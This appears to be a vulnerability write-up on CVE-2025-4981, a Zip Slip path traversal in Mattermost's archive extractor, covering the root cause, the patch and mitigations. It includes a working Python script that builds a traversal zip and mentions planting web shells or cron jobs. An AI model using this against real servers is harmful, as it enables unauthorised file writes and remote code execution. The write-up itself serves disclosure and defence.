RCE

CVE-2025-4981: Mattermost Path Traversal Vulnerability Could Lead to RCE

Robert Morgan

Robert Morgan

— 8 min read

Hey everyone! Grab your coffee, because today we're diving deep into a sneaky vulnerability that was lurking in Mattermost, the popular open-source collaboration platform. We're talking about CVE-2025-4981, a path traversal flaw that could turn your trusted chat server into an attacker's playground. If you're running Mattermost, or just love a good vulnerability breakdown, this one's for you!

TL;DR / Executive Summary

CVE-2025-4981 is a path traversal vulnerability affecting Mattermost server versions 10.5.x <= 10.5.5, 9.11.x <= 9.11.15, 10.8.x <= 10.8.0, 10.7.x <= 10.7.2, and 10.6.x <= 10.6.5. The flaw lies in how Mattermost's archive extractor handles filenames within uploaded archives (like .zip or .tar.gz). Authenticated users could craft malicious archives with "path traversal sequences" (e.g., ../../) in filenames, tricking the server into writing files to arbitrary locations on the filesystem. This could lead to Remote Code Execution (RCE), especially since file uploads and document content extraction are enabled by default. The vulnerability has a high severity. Mitigation: Upgrade to patched versions (e.g., 10.5.6+, 9.11.16+, etc.) or, if immediate patching isn't possible, disable FileSettings.ExtractContent or FileSettings.EnableFileAttachments.

Introduction: When Collaboration Tools Betray Trust

In our hyper-connected world, collaboration platforms like Mattermost are the digital offices where teams meet, share ideas, and, crucially, exchange files. We trust these platforms to keep our data safe and our conversations secure. But what happens when a fundamental feature – file sharing – becomes a vector for attack?

That's exactly the scenario with CVE-2025-4981. This vulnerability highlights a classic security pitfall: improper handling of user-supplied input, specifically filenames within archives. For anyone running a Mattermost instance, especially with default settings, this vulnerability posed a significant risk. It's a stark reminder that even authenticated users can, wittingly or unwittingly (if their account is compromised), introduce threats. Let's unpack this.

Technical Deep Dive: The Nitty-Gritty of CVE-2025-4981

At its heart, CVE-2025-4981 is a path traversal (also known as "directory traversal" or "Zip Slip" when dealing with archives) vulnerability.

Vulnerability Details:
Mattermost allows users to upload files, including archives. For features like searching within documents, Mattermost can extract the contents of these archives. The vulnerability occurred because the archive extraction mechanism didn't properly sanitize the filenames of the files inside the uploaded archive.

Imagine an archive file (malicious.zip) containing a file named ../../../../../../../../tmp/pwned.txt. A vulnerable extractor, upon processing this archive, would see the ../ sequences and interpret them as "go up one directory." If not handled carefully, this could allow the pwned.txt file to be written outside of the intended temporary extraction directory, potentially overwriting critical system files or placing malicious scripts in executable locations.

Root Cause Analysis:
The root cause was the failure to sanitize or validate the file paths embedded within the archive. Think of it like a mailroom clerk who's told to deliver a package. The package label says, "Deliver to: Server Room, via the unsecured back window, third floor." A diligent clerk would question this, but a naive system might just follow instructions.

In Go, where Mattermost server is written, functions like filepath.Join can be tricky if components of the path come from untrusted sources. If baseDir is /var/mattermost/temp_extract/ and filenameFromArchive is ../../evil.sh, filepath.Join(baseDir, filenameFromArchive) could resolve to /var/mattermost/evil.sh.

The vulnerable code essentially did something like this (simplified concept):

// Conceptual vulnerable Go code
// dir = path to a temporary directory for extraction
// archiveEntryName = filename from inside the archive (e.g., "../../../etc/hosts")
filePath := filepath.Join(dir, archiveEntryName)
outFile, err := os.Create(filePath)
// ... then copy data from archive entry to outFile

If archiveEntryName contains ../ sequences, filePath could point outside dir.

Attack Vectors:
An attacker with valid Mattermost credentials (even low-privileged) could:

  1. Craft a malicious archive (e.g., a ZIP or TAR.GZ file) containing files with path traversal sequences in their names.
  2. Upload this archive to a Mattermost channel or direct message.
  3. If FileSettings.EnableFileAttachments and FileSettings.ExtractContent are true (the default), Mattermost would attempt to extract the archive for indexing.
  4. The path traversal payload triggers, writing the embedded file to an arbitrary location on the server's filesystem.

Business Impact:
The impact is severe:

  • Remote Code Execution (RCE): If an attacker can write a web shell to a web-accessible directory, or overwrite a script/binary executed by the server, they could gain RCE.
  • Denial of Service (DoS): Overwriting critical system files could crash the server or the entire system.
  • Data Breach/Tampering: Sensitive configuration files or data could be overwritten or exfiltrated.
  • System Takeover: With RCE, an attacker could gain full control of the Mattermost server.

Proof of Concept (Theoretical)

Let's demonstrate how such an archive might be crafted. (Note: Do NOT try this on production systems. Always use isolated, non-critical environments for security testing.)

1. Create a payload file:

echo "You've been pwned by CVE-2025-4981!" > pwned.txt

2. Craft a malicious ZIP archive:
Using a tool that allows specifying full paths for entries. For example, with Python:

# theoretical_poc.py
import zipfile
import os

# Path we want the file to be written to, relative to the extraction directory
# This tries to escape a typical temporary extraction path.
# The number of ../ depends on the server's extraction depth.
malicious_path = "../../../../../../../../../tmp/pwned_by_cve20254981.txt"

# Ensure the local 'pwned.txt' exists from the echo command above
if not os.path.exists("pwned.txt"):
    print("Please create pwned.txt first (e.g., echo 'test' > pwned.txt)")
    exit()

with zipfile.ZipFile('evil_cve20254981.zip', 'w') as zf:
    zf.write('pwned.txt', arcname=malicious_path)

print("evil_cve20254981.zip created with malicious path.")

Run this script: python theoretical_poc.py

3. Upload to Mattermost:
An attacker would then upload evil_cve20254981.zip to a vulnerable Mattermost instance. If the vulnerability is successfully exploited, the file pwned_by_cve20254981.txt would appear in the /tmp/ directory of the server.

If an attacker could write to, say, a cron directory or a web root with executable permissions, the impact escalates to RCE. For example, placing a PHP web shell in /var/www/html/shell.php or a cron script in /etc/cron.d/eviljob.

Mitigation and Remediation

The good news? There's a patch!

Immediate Fixes:

  1. Upgrade Mattermost: This is the most crucial step. Update to a patched version:

    • For 10.5.x users: Upgrade to 10.5.6 or later.
    • For 9.11.x users: Upgrade to 9.11.16 or later.
    • For 10.8.x users: Upgrade to 10.8.1 or later.
    • For 10.7.x users: Upgrade to 10.7.3 or later.
    • For 10.6.x users: Upgrade to 10.6.6 or later.
      The fix is included in builds from commit 65aec10162f612d98edf91cc66bf7e781868448b (dated May 19, 2025) onwards.

  2. Temporary Mitigation (if patching is delayed):
    In the Mattermost System Console (or config.json):

    • Set FileSettings.ExtractContent to false. This disables document content extraction, which is the trigger for this specific vulnerability.
    • As a more drastic measure, set FileSettings.EnableFileAttachments to false. This disables all file uploads, which would also prevent exploitation but significantly impacts functionality.

Patch Analysis - How the Fix Works:
The patch (commit 65aec10162f6) refactored the document extraction logic in server/platform/services/docextractor/archive.go.

Before the patch (conceptual logic):

// func (ae *archiveExtractor) Extract(name string, r io.ReadSeeker) (string, error)
// 'name' is the filename from inside the archive
dir, _ := os.MkdirTemp(os.TempDir(), "archiver") // Create a temp directory
// ...
f, _ := os.Create(filepath.Join(dir, name)) // VULNERABLE: 'name' is used directly!
io.Copy(f, r)
// ...

Here, name (e.g., ../../foo.txt) was joined with dir. filepath.Join would resolve this, potentially leading to a path outside dir.

After the patch:

// func (ae *archiveExtractor) Extract(name string, r io.ReadSeeker) (string, error)
// 'name' is the filename from inside the archive
ext := getExtAlsoTarGz(name) // Get extension from original name

// Create a temporary file, using `*` to control the random component while preserving the extension.
// CRITICAL FIX: 'name' is NOT used to construct the path here.
// os.CreateTemp generates a SECURE, non-traversable filename in the OS temp dir.
f, err := os.CreateTemp("", "archiver-*"+ext) 
if err != nil {
    return "", fmt.Errorf("error creating temporary file: %v", err)
}
defer os.Remove(f.Name()) // Clean up the secure temp file

_, err = io.Copy(f, r) // Copy archive entry content to the secure temp file
f.Close()
// ...

The key change is the use of os.CreateTemp("", "archiver-*"+ext). This function:

  1. Creates a new temporary file in the operating system's default temporary directory (e.g., /tmp).
  2. Generates a random, unique, and safe filename (e.g., /tmp/archiver-123456789.zip). The attacker-controlled name from the archive is not used to determine the file's path or base name, only its extension.
    This completely sidesteps the path traversal because the file system operation uses a system-generated, non-traversable path for the temporary file where contents are extracted. The original, potentially malicious filename is effectively ignored for path construction purposes.

The commit message "MM-64336: simplify doc extractor" and "Avoid creating a whole temporary directory when a single temporary file suffices" might sound like a simple refactor, but this simplification directly led to a more secure implementation by leveraging os.CreateTemp's inherent safety for this use case.

Long-Term Solutions:

  • Secure Coding Practices: Always treat user input (including filenames from archives) as untrusted. Sanitize and validate.
  • Use Safe APIs: Prefer APIs that handle path safety by design, like os.CreateTemp when appropriate.
  • Principle of Least Privilege: Run application processes with the minimum necessary permissions. The Mattermost server shouldn't be able to write to arbitrary locations if its user account is properly restricted.
  • Sandboxing: Consider sandboxing or jailing file extraction processes.

Verification Steps:

  1. Confirm your Mattermost server version is patched.
  2. After patching, test uploading various archive types (zip, tar.gz) with benign files to ensure functionality is not broken.
  3. Review server logs for any unusual file access errors or security audit messages (if configured).

Timeline of CVE-2025-4981

  • Discovery Date: (Undisclosed, typically by a security researcher or internal team)
  • Vendor Notification: (Undisclosed, reported to Mattermost)
  • Patch Development & Testing: (Internal Mattermost process)
  • Patch Availability (Commit): May 19, 2025 (Commit 65aec10162f6)
  • Public Disclosure (GHSA & CVE): June 20, 2025

This timeline reflects a coordinated disclosure process, where vendors are given time to develop and release a patch before the vulnerability details are made public.

Lessons Learned: More Than Just a Bug

Every CVE teaches us something. For CVE-2025-4981:

  • Prevention is Key:

    • Input Validation for Paths: Any filename or path component coming from an external source (like an archive entry) must be rigorously validated. Check for ../, ..\\, absolute paths, symlinks, etc.
    • Secure Defaults for Libraries: When using libraries for tasks like archive extraction, ensure they have protections against path traversal or use them in a way that mitigates this risk (e.g., by extracting to a randomly named file first).

  • Detection Techniques:

    • Filesystem Auditing: Monitor for file creation/modification in unexpected locations by the Mattermost server process. Tools like auditd on Linux can help.
    • Endpoint Detection and Response (EDR): EDR solutions might flag suspicious process behavior or file writes originating from the Mattermost application.
    • Log Analysis: Look for errors or warnings related to file extraction in Mattermost logs, or unusually long/complex filenames being processed.

  • One Key Takeaway:
    "Trust, but verify" applies emphatically to file uploads. Even when files come from authenticated users, the contents of those files (including metadata like filenames within archives) should never be implicitly trusted. Always assume malicious intent and sanitize accordingly.

Behind the Scenes: The Hunt for Path Traversals

While the exact discovery story for CVE-2025-4981 isn't public, vulnerabilities like this are often found through:

  • Manual Code Review: Security-minded developers or researchers scrutinizing file handling code.
  • Static Analysis Security Testing (SAST): Automated tools that scan code for common vulnerability patterns.
  • Dynamic Analysis Security Testing (DAST) / Fuzzing: Sending malformed archive files to the application and observing its behavior.
  • Variant Analysis: After a path traversal is found in one product, researchers often check similar products or other parts of the same product for the same bug pattern.

It's a constant cat-and-mouse game, and this find underscores the importance of proactive security efforts.

References and Further Reading

CVE-2025-4981 is a potent reminder that even the most trusted tools can have vulnerabilities. Diligence in patching, secure configuration, and understanding the risks are paramount.

So, what's your take? Have you encountered similar "Zip Slip" style issues in other applications? And more importantly, have you patched your Mattermost instance yet? Stay safe out there!

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